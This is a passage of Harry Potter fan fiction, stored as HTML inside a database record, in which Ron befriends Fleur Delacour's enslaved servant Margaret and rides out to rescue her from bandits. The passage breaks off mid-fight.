style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;U-uh.&nbsp; I-I don&#8217;t m-mind the c-cold that m-much.&nbsp; I-I-I o-only accept w-what is g-given t-to\nm-me.&#8221;&nbsp; For a brief moment, Ron thought\nshe was a little nervous but eventually decided that she was only shivering\nfrom the cold.&nbsp; But he couldn&#8217;t help but\nnotice Margaret&#8217;s accent.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You&#8217;re from\nMagiterran, aren&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret looked up\nsurprised.&nbsp; She hesitated for a few\nmoments before she said, &#8220;Y-yes, f-from R-Ravenclaw.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron noticed that\nshe was freezing out in the snow.&nbsp; He\nspoke a few well-chosen words and Margaret was bathed in a glow of warmth.&nbsp; Her eyes widened at what Ron had just\ndone.&nbsp; &#8220;Y-you&#8217;re a Mage Knight?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That&#8217;s right, Sir\nRonald Weasley of Gryffindor.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What are you\ndoing here in Durmstrang?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That would be\nclassified information.&nbsp; But I think I\nmight explain it to you if you tell me your story.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret\nnodded.&nbsp; &#8220;My name is Margaret\nChapel.&nbsp; I come from a family of\ntheologians who work for the Ravenclaw Royal Family.&nbsp; Or at least we did until three years ago.&nbsp; My parents and I were traveling to\nBeauxbatons that day when we were attacked by Death Eaters.&nbsp; I barely escaped with my life while my\nparents were killed.&nbsp; I hid in a ship\nthat was bound for Durmstrang and failed to get off.&nbsp; When I arrived here, I had to escape from the ship before they\nfound an illegal stow away so I ran into the woods.&nbsp; That&#8217;s where mistress Delacour found me, exhausted and starving.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;And you&#8217;ve lived\nas her slave for three years?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yes, but it was a\nbetter choice than dieing.&nbsp; I heard that\nthe war ended two years ago but I couldn&#8217;t go home because I was Mistress\nDelacour&#8217;s property by then.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No human should\never be another&#8217;s property,&#8221; said Ron, his temper rising again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Durmstrang is\ndifferent from the Alliance.&nbsp; That&#8217;s\nall,&#8221; said Margaret sadly.&nbsp; She let a\ntear fall down her cheek as she recalled the sad events.&nbsp; Ron stepped forward and wiped the tear\naway.&nbsp; That action seemed to have broken\nsomething down in Margaret and she threw her arms around Ron and started\nsobbing into his shoulder.&nbsp; Looking\nuncomfortable, Ron gently rubbed her back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny and Harry\nwere looking at Ron comforting Margaret from the entrance of the tent.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Ron sure looks\nuncomfortable, doesn&#8217;t he?&#8221; observed Harry.&nbsp;\nGinny simply nodded and continued observing her brother.&nbsp; &#8220;I wonder what she told him,&#8221; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny\ngrinned.&nbsp; &#8220;You know I don&#8217;t think I&#8217;ve\never seen Ron look at a girl that way before.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry turned to\nGinny, an eyebrow raised.&nbsp; &#8220;Ginny, are\nyou thinking what I think you&#8217;re thinking?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What do you think\nI&#8217;m thinking?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You know full\nwell what I think you&#8217;re thinking.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That Ron has it\nbad for this girl?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That&#8217;s right.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny simply\ngrinned and nodded her head slowly.&nbsp;\nHarry rolled his eyes and continued staring at his friend.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N I really don&#8217;t\nknow how to do a French accent.&nbsp; So\nplease just bear with my style of Fleur&#8217;s speech.&nbsp; Well, I sure this chapter was enjoyable.&nbsp; So anyway, R/R.&nbsp; Next: So has Ron really fallen for this girl?&nbsp; That&#8217;s up for you to find out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 10, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n10: Margaret Chapel\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Mage Knights\ndecided to stay at the marketplace for a while and gather information about\nViktor Krum.&nbsp; As it turned out, they\nlearned a great many things from Fleur Delacour.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oui, King\nViktor,&#8221; she said.&nbsp; &#8220;He eez very\nunpopular &#8216;ere in Durmstrang.&nbsp; A &#8216;orrible\nruler who always oppresses us.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry raised an\neyebrow.&nbsp; &#8220;No kidding.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oui.&nbsp; Taxes are &#8216;orrible and &#8216;e&#8217;s always sending\ntroops to gazer slaves from za people.&nbsp;\nBut &#8216;e was not always like zat.&nbsp;\n&#8216;e used to be a fair ruler.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">That caught\nHarry&#8217;s attention.&nbsp; &#8220;Really?&nbsp; When did he change?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;About two years\nago.&nbsp; Things were better zen.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry noted that\ntwo years ago was when he had defeated Voldemort.&nbsp; &#8216;I wonder if there&#8217;s a connection,&#8217; he thought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">While Harry was\ngathering information, Ron was fast becoming friends with Margaret Chapel,\nFleur&#8217;s slave girl.&nbsp; He often found time\nto talk to her and helped her with her duties.&nbsp;\nMargaret was reluctant to accept his help.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;But if my\nmistress ever found out&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;She won&#8217;t find\nout.&nbsp; She&#8217;s too busy drooling over Harry\nwhile he weeds information out of her.&nbsp;\nShe won&#8217;t notice that I&#8217;m helping you out.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret could\nonly smile at Ron as he helped her clear snow away or wash pots.&nbsp; After a while, Margaret started to get\ncurious about something.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Sir Ronald&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Call me Ron.&nbsp; I don&#8217;t like formalities being used on me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;OK.&nbsp; Ron, why are you so kind to me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron raised an\neyebrow.&nbsp; &#8220;I&#8217;m just treating you like an\nordinary human being.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yes, but you&#8217;re\nalso going long ways specifically for me.&nbsp;\nAnd please don&#8217;t deny it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron sighed.&nbsp; &#8220;In full honesty I don&#8217;t know why I&#8217;m caring\nfor you especially in particular.&nbsp; Maybe\nits because you&#8217;re sweet, kind, humble, smart, pretty&#8230;OH I don&#8217;t know!&nbsp; I just like you, OK?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret blushed a\ndeep shade of red and seemed to be speechless.&nbsp;\nRon had only just realized what he had just said and blushed as red as\nhis hair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;W-well OK, I-I\nsuppose I should g-go see the others n-now,&#8221; he stuttered as he made his way to\nthe other Mage Knights.&nbsp; He suddenly\ncame up with an idea and went to talk to Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">That night, the\nMage Knights were all lying in the beds of the guest tent sleeping soundly, or\nat least the Weasleys were.&nbsp; Harry\nmissed Hermione so much that he often had a hard time sleeping.&nbsp; He ached not being able to wake up and have\nher as the first thing he saw in the morning, lying next to him with a soft\nsmile on her face that made his heart melt.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">He was finally\ndrifting off when the warning bell sounded!&nbsp;\nFor a split second, Harry thought they were being attacked by Death\nEaters until he heard a voice call out &#8220;Bandits!&nbsp; We&#8217;ve been robbed!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Mage Knights\nsprang out of bed, threw their cloaks on, and dashed out of the tent.&nbsp; They ran into a hysterical looking Fleur\nDelacour.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Zey &#8216;ave taken my\nstuff!&#8221; she yelled.&nbsp; &#8220;Zey &#8216;ave taken\neet!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Fleur, calm\ndown,&#8221; said Harry.&nbsp; &#8220;What exactly have\nthey taken?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Everything!&nbsp; My jewelry!&nbsp;\nMy money!&nbsp; My slave girl&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What?!&#8221; shouted\nRon.&nbsp; Fleur calmed down and stared at\nRon looking bewildered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Zey &#8216;ave taken my\nslave girl, Margaret,&#8221; she said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron completely\nignored Harry and Ginny&#8217;s warnings as he ran up to a number of horses that a\nmerchant had for sale.&nbsp; He leapt on to\none of them galloped away into the cold night, hot on the bandits&#8217; trail.&nbsp; After riding through the snow-covered forest\nfor about thirty minutes he caught up to their campsite.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">There were about a\ndozen rough looking men sitting around a fire, drinking and gloating about\ntheir recent raid.&nbsp; Margaret was sitting\nin the background looking terrified, her hands tied behind her back.&nbsp; One of the bandits went up to her looking\ndrunk.&nbsp; He started stroking her cheek, a\ndisgusting look in his face as the other bandits laughed.&nbsp; Margaret recoiled in horror.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">With a roar of\nrage, Ron sprang into the clearing still astride his horse.&nbsp; Bandits turned towards him looking\nalarmed.&nbsp; Margaret looked relieved and\nallowed a few tears of joy fall down her face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Eh now, what&#8217;s\nthis?&#8221; said one of the bandits.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Someone you don&#8217;t\nwant to mess with,&#8221; hissed Ron.&nbsp; He\ngestured toward Margaret.&nbsp; &#8220;Let her go.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh I don&#8217; think\nso,&#8221; sneered another bandit.&nbsp; He along\nwith all the others drew swords and daggers.&nbsp;\n&#8220;That lassie there tis our booty.&nbsp;\nAnd anyone who finds us is to be killed.&#8221;&nbsp; The bandits surrounded Ron chuckling stupidly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron grinned.&nbsp; &#8220;Oh, so I suppose you can kill me, eh?&#8221;&nbsp; He threw off his cloak!&nbsp; The bandits stopped short when caught sight\nof his gleaming Mage Knight armor as Ron drew his sword.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well now,&#8221; said\none of the bandits looking a little scared.&nbsp;\n&#8220;If I didn&#8217;t know any better, I&#8217;d say that this laddie were one of them\nMage Knights of Magiterran.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You fool,&#8221; yelled\nanother bandit.&nbsp; &#8220;There ain&#8217;t any Mage\nKnights in Durmstrang.&nbsp; This laddie is\njust a wannabe.&nbsp; Kill &#8216;im!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Three of the\nbandits leapt at Ron flaying their swords.&nbsp;\nRon simply remained on his horse and deflected each of the blows with\nhis own sword.&nbsp; He suddenly leapt off\nhis horse, flipped through the air and landed beside the three bandits!&nbsp; With a complete turn, Ron bashed the blunt\nside of his blade into the faces of the three, knocking them unconscious.&nbsp; He turned to the others.&nbsp; &#8220;Going to kill the wannabe?&#8221; he smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The remaining\nbandits hesitated for a moment before they all charged at Ron.&nbsp; Ron stepped back and twirled his 